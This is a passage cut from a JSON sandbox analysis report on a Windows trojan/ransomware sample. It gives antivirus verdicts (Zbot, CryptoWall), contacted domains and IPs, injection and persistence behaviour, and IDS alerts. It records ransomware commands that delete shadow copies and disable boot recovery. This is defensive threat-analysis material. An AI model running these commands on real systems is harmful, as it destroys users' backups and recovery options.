tadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Spy]/Win32.Zbot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1105018","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.BHTO","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Trojan.UOZC-1306","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.BHTO (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Injector.BSVB trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Miuref.e","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Yakes","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00498ab51 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Blocker.gngn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Generic-FAWC!5F3E8E6891E9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.dnqglm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"TrojanPWS.Zbot.AP4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Threat-Generic://Malicious-Confidence_95","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Mdrop-GNN","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan.Zbot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.2158732","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_CRYPTWALL.G","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_CRYPTWALL.G","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Inject2.BOPC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Backdoor.Androm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Blocker.Win32.27191","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-addr.es\"\n \"dreamleaparchitects.com\"\n \"www.dreamleaparchitects.com\"\n \"almjobs.com\"\n \"ingesof.com\"\n \"jake-angela.com\"\n \"dh-solutions.net\"\n \"marivaldakariri.net\"\n \"creativoplasma.com\"\n \"crushtrack.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"188.165.164.184:80\"\n \"205.209.123.35:80\"\n \"205.134.238.142:80\"\n \"190.107.176.7:80\"\n \"198.58.92.228:80\"\n \"212.68.42.26:80\"\n \"189.38.80.72:80\"\n \"23.236.238.227:80\"\n \"50.97.118.154:80\"\n \"205.178.189.129:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"C:\\Users\\M\\Desktop\\vc\\conedraw\\Release\\conedraw.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\_!MSFTHISTORY!_\"\n \"Local\\c:!users!pspubws!appdata!local!microsoft!windows!temporary internet files!content.ie5!\"\n \"Local\\c:!users!pspubws!appdata!roaming!microsoft!windows!cookies!\"\n \"Local\\c:!users!pspubws!appdata!local!microsoft!windows!history!history.ie5!\"\n \"Local\\WininetStartupMutex\"\n \"Local\\WininetConnectionMutex\"\n \"Local\\WininetProxyRegistryMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$27","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"\" (UID: 00122156-00004044)\n Spawned process \"explorer.exe\" (UID: 00124796-00004060)\n Spawned process \"svchost.exe\" with commandline \"-k netsvcs\" (UID: 00127531-00000308)\n Spawned process \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00128921-00001784)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00130250-00001164)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00131531-00001748)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"$28","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"pspubws@dropnwashlaundry[1].txt\" has type \"ASCII text\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"\" queried SystemProcessInformation at 00115125-00003952-779D61F8-121250\n \"\" queried SystemProcessInformation at 00115125-00003952-779D61F8-121562","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.90681653243","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\", Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$29","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Network Related","name":"Found potential URL in binary/memory","description":"\"bbc.com\"\n \"c.com\"\n \"onsterbbc.com\"\n \"sterbbc.com\"","origin":"File/Memory","relevance":2,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 188.165.164.184 on port 80 is sent without HTTP header\n TCP traffic to 205.209.123.35 on port 80 is sent without HTTP header\n TCP traffic to 205.134.238.142 on port 80 is sent without HTTP header\n TCP traffic to 190.107.176.7 on port 80 is sent without HTTP header\n TCP traffic to 198.58.92.228 on port 80 is sent without HTTP header\n TCP traffic to 212.68.42.26 on port 80 is sent without HTTP header\n TCP traffic to 189.38.80.72 on port 80 is sent without HTTP header\n TCP traffic to 23.236.238.227 on port 80 is sent without HTTP header\n TCP traffic to 50.97.118.154 on port 80 is sent without HTTP header\n TCP traffic to 205.178.189.129 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":10,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Pattern Matching","name":"Code classification distribution is known to appear in malware","description":"TrID distribution is very similar to the \"CTB-Locker\" family (e.g. SHA256: cbba56bd16222191f1468a1d93b63945394371cfb9ffe38f34a9575c5655e57a)","origin":"TrID Evaluation","relevance":5,"id":"trid-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"svchost.exe\" (Access type: \"SETVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYENABLE\", Value: \"00000000\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYSERVER\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYOVERRIDE\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")\n \"svchost.exe\" (Access type: \"DELETEVAL\", Path: \"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleHandleA\n MapViewOfFile\n GetModuleHandleW\n GetStartupInfoW\n GetModuleFileNameA\n CreateFileA\n OpenProcess\n GetModuleFileNameExW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\", Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00131531-00001748)","origin":"Monitored Target","relevance":8,"id":"target-6","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 111 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 61 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 139 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 132 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 202 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 121 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 330 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)\n Wrote 43 instructions to foreign process \"internal_31572.scr.exe\" (UID: 00122156-00004044)","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"48/56 Antivirus vendors marked sample as malicious (85% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"48/56 Antivirus vendors marked sample as malicious (85% detection rate)","origin":"External System","relevance":10,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00124796-00004060)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 52 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 4 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 1024 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 90112 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 512 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 38912 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 1536 bytes to a foreign process \"internal_31572.scr.exe\" (PID: 00004044)\n \"\" wrote 32 bytes to a foreign process \"explorer.exe\" (PID: 00004060)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2a","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ip-addr.es\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by Ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00128921-00001784)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"svchost.exe\" had access to \"\\Device\\HarddiskVolume2\\Users\\PSPUBWS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\" (Type: \"FileHandle\", Context: \"NtSetInformationFile\")","origin":"Touched Handle","relevance":5,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00115125-00003952)\n Spawned process \"\" (UID: 00122156-00004044)\n Spawned process \"explorer.exe\" (UID: 00124796-00004060)\n Spawned process \"svchost.exe\" with commandline \"-k netsvcs\" (UID: 00127531-00000308)\n Spawned process \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00128921-00001784)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00130250-00001164)\n Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00131531-00001748)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"\" queries volume information of \"%WINDIR%\\System32\" at 00025281-00003264-0000010C-59273514","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\system32\\en-US\\odbcint.dll.mui\"\n \"\" touched file \"%WINDIR%\\system32\\en-US\\MFC42u.DLL.mui\"\n \"\" touched file \"%WINDIR%\\Fonts\\staticcache.dat\"\n \"\" touched file \"%WINDIR%\\explorer.exe\\\"\n \"\" touched file \"%WINDIR%\\System32\"\n \"\" touched file \"%WINDIR%\\system32\\rsaenh.dll\"\n \"\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" touched file \"%WINDIR%\\explorer.exe\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"explorer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"svchost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"5422D70\"; Value: \"C:\\5422d70e\\5422d70e.exe\")\n \"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"*422D70\"; Value: \"C:\\5422d70e\\5422d70e.exe\")\n \"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"5422D70E\"; Value: \"%APPDATA%\\5422d70e.exe\")\n \"explorer.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"*422D70E\"; Value: \"%APPDATA%\\5422d70e.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"svchost.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"\" wrote bytes \"40532a7758582b77186a2b77653c2c770000000000bffb750000000056ccfb75000000007ccafb7500000000376867756a2c2c77d62d2c7700000000206967750000000029a6fb7500000000a48d677500000000f70efb7500000000\" to virtual address \"0x773E1000\" (part of module \"NSI.DLL\")\n \"explorer.exe\" wrote bytes \"40532a7758582b77186a2b77653c2c770000000000bffb750000000056ccfb75000000007ccafb7500000000376867756a2c2c77d62d2c7700000000206967750000000029a6fb7500000000a48d677500000000f70efb7500000000\" to virtual address \"0x773E1000\" (part of module \"NSI.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET POLICY Possible IP Check ip-addr.es\" (SID: 2020105, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\"\n Detected alert \"ET POLICY Possible IP Check myexternalip.com\" (SID: 2019980, Rev: 2, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"\n Detected alert \"ET TROJAN CryptoWall Check-in\" (SID: 2018452, Rev: 15, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"level":"malicious","category":"Installation/Persistance","name":"Disables startup repair","description":"Disables startup repair \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00027514-00002596)","origin":"Monitored Target","relevance":8,"id":"target-5","sources":[{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"name":"Spyware/Leak","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by Ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Injects into explorer"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 41 domains and 41 hosts"}],"sources":[{"report_type":"sandbox","report_id":"561a745e0e316d8c08daed9d"},{"report_type":"sandbox","report_id":"5803dfe5aac2eda741cf48f3"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a 